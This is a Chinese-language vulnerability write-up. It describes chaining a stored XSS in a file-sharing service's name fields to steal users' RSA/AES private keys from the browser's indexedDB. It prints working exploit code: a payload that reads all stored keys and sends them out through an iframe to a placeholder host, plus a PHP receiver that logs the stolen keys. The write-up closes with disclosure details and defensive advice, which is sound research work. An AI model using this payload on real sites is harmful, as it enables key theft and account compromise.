挖洞经验 | 从安全的文件共享服务中获取用户私钥信息
字数 1295 2025-08-18 11:39:07
从安全的文件共享服务中获取用户私钥信息 - 漏洞分析与利用教学
漏洞背景
本文分析了一种存在于声称"安全"的文件共享服务中的高危漏洞组合,通过存储型XSS漏洞最终获取用户的加密私钥信息。该服务声称使用端到端加密保护用户文件传输,但实际上存在严重安全隐患。
漏洞发现过程
1. 初始发现
- 目标服务:提供Web端到端文件传输的在线服务
- 加密声明:使用RSA和AES私钥的本地端到端加密
- 特点:非开源实现,缺乏公开的加密细节
2. 存储型XSS漏洞
漏洞位置:
- 账户名称字段
- 公司名称字段
漏洞验证:
- 注入基本XSS Payload:
<script>alert('Hi there!');</script> - 当其他用户访问包含该用户名的文件请求链接时,脚本执行
利用场景:
- 用户创建文件请求会生成一个链接
- 该链接页面会显示用户名/公司名
- 恶意脚本在受害者访问链接时执行
深入利用:获取用户私钥
1. 加密机制分析
- 服务使用客户端非对称加密保护文件
- 加密通过JavaScript实现
- 用户私钥存储在本地indexedDB数据库中
- 私钥不会通过网络发送(理论上)
2. 私钥提取技术
indexedDB访问方法:
var dbReq = indexedDB.open("companyname");
dbReq.onsuccess = function() {
var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
store.onsuccess = function() {
alert(store.result.pem);
};
};
关键点:
- 打开名为"companyname"的indexedDB数据库
- 访问"keys"对象存储
- 获取键为"52_private_key"的私钥数据
- 通过alert显示私钥的PEM格式
3. 数据外传技术
限制条件:
- 名称字段最多255个字符
- CORS限制导致Ajax请求失败
解决方案:
- 使用jQuery简化Ajax请求(但因CORS失败)
- 改用iframe方式外传数据:
$('body').append(
'<iframe src="//example.com/?k=' +
btoa(JSON.stringify(secret_data)) +
'">'
);
优化后的PoC(255字符内):
<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src="//example.org?k='+btoa(JSON.stringify(b.target.result))+'">');</script>
4. 服务器端收集
简单PHP接收脚本示例:
<?php
if(isset($_GET['k'])) {
file_put_contents('keys.txt', base64_decode($_GET['k'])."\n", FILE_APPEND);
}
?>
漏洞修复与响应
- 研究人员15分钟内收到厂商回复
- 漏洞在1小时内修复
- 修复措施可能包括:
- 输入字段的严格过滤
- CSP策略实施
- indexedDB访问限制
安全建议
对于服务提供商
- 实施严格的输入验证和输出编码
- 部署内容安全策略(CSP)
- 限制敏感数据的客户端存储方式
- 进行彻底的安全审计
- 考虑开源实现以接受社区审查
对于用户
- 不要盲目信任声称"安全"的服务
- 评估服务的:
- 运行历史
- 是否开源
- 实际应用考验
- 第三方安全审计
- 对于高度敏感数据,考虑使用知名、经过验证的加密工具
对于开发者
- 永远不要信任客户端存储的敏感数据
- 实施防御XSS的多层防护:
- 输入验证
- 输出编码
- CSP
- HTTP安全头
- 对于加密实现:
- 使用标准化、经过验证的库
- 避免在JavaScript中实现核心加密逻辑
- 考虑Web Crypto API而非自行管理密钥
技术总结
本案例展示了如何通过组合漏洞(存储型XSS + 不安全的客户端数据存储)破坏声称安全的加密服务。关键教训包括:
- 客户端加密的实现必须极其谨慎
- XSS漏洞可能成为破坏加密系统的入口
- 声称"安全"的服务需要经过严格验证
- 安全是一个系统工程,不能依赖单一防护措施
通过这个案例,安全研究人员可以学习到现代Web应用中漏洞链的构造方法,以及如何评估声称安全的服务的实际安全性。